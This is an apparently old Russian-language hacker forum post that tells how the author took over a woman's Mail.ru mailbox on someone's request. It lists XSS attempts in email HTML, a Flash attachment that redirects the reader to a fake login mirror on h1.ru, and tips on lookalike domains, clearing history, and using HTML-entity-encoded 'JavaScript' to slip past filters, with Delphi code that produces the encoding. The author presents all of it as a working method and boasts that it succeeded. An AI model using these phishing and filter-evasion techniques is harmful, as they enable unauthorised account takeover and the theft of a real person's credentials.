Вы будете смеяться, но таки был обычный вечер... Все как всегда, ничего особенного. Захожу на форум оставить пару мессаг. Смотрю и для меня что-то валяется. Типа, ты не мог бы поломать мыло одной чиксы? Делать было нечего, я решил согласится....
Ее бокс лежал на MAIL.RU: girl@inbox.ru (это конечно не настоящий ящик :)) Что показалось для меня слишком тяжелым... сначала ;) Первым делом я полез в скрипты в надежде найти баг в сурсачах... наивный. Ничего у меня конечно же не получилось. Я особо не расстраивался, потому как знал, что нихрена с этого не выйдет. На следующий день я решил пойти другим путем... я полез в асю по мылу нашел эту тетку и решил воспользоваться службой напоминания пароля... Но несмотря на правильность введенных мною данных мой пароль мне не прислали.
После чего я решил пожаловаться в службу поддержки Для дальнейшего исследования я открыл себе аккаунт на MAIL.RU... После чего стало понятно что это надо было сделать сразу! Открытие номер адын: аттач открывается сразу 8). Долго я мучился пытаясь прописать что-то в хтмл...
<script>...</script> не рулит!
<IMG SRC="no_existing_image" onError="java_script"> неа!
<IMG SRC="JavaScript:java_script"> даже не думай!
Открытие номер два: все скрипты обрезаются После еще одного пива я чудом попал на http://www.macromedia.com/ и тут бац, идея. А что если вставить флешку, которая намутит редирект на зеркало MAIL.RU с просьбой ввести заново свой пас из-за сбоя авторизации. А введенный ею пароль я сохраню в какой-то файл или пришлю себе на почту! Ролик размером 18х18 с одним кадром и экшеном:
getURL ("mail.ru_mirror","_top");
Зеркало разместил на h1.ru. Тест... Присылаю себе html и флешку, аттач открывается сразу при чтении письма, редирект сработал! Через три дня я имел пасс. Да, для правдоподобности выбирай домены максимально подходящие: например на MAIL.RU был URL вроде win.mail.ru/cgi-bin/auth, у меня получился winmail.h1.ru/cgi-bin/auth. Можешь так же использовать шестнадцатеричный код адреса или @ в URL'е... Вариантов много. Не забудь очистить хистори, чтобы нельзя было вернутся назад: history.clear или используй фреймы, что тоже неплохой вариант.
НО! ЭТО! ЕЩЕ! НЕ КОНЕЦ. На следующий день я вспомнил баг, найденный когда-то на hotmail.com. Суть: фильтры обрезают все сочетания java и script а что если в теге <IMG SRC="JavaScript:java_script"> вместо "JavaScript:" написать слово JavaScript юникодом? Для пущей верности я намутил прогу, чтобы любой текст превращался в такую шнягу. Один баттон с кодом:
for i:=1 to length(edit1.text) do edit2.text:=edit2.text+'&#'+inttostr(ord(edit1.text[i]));
Те, кто знакомы с делфой поняли о чем это я То есть фильтр при обработке не видит сочетания JavaScript, а браузер при обработке превращает код символов в JavaScript.
Короче вот еще один способ намутить редирект:
<META HTTP-EQUIV="Refresh" content ="4; URL=http://any_url">
З.Ы.: Все работает отлично. Захват ящика это не единственное применение, это дает возможность получить разную инфу о юзере (IP, тип браузера...), можно также на нем протестить баги експлохера :)
Продолжение следует....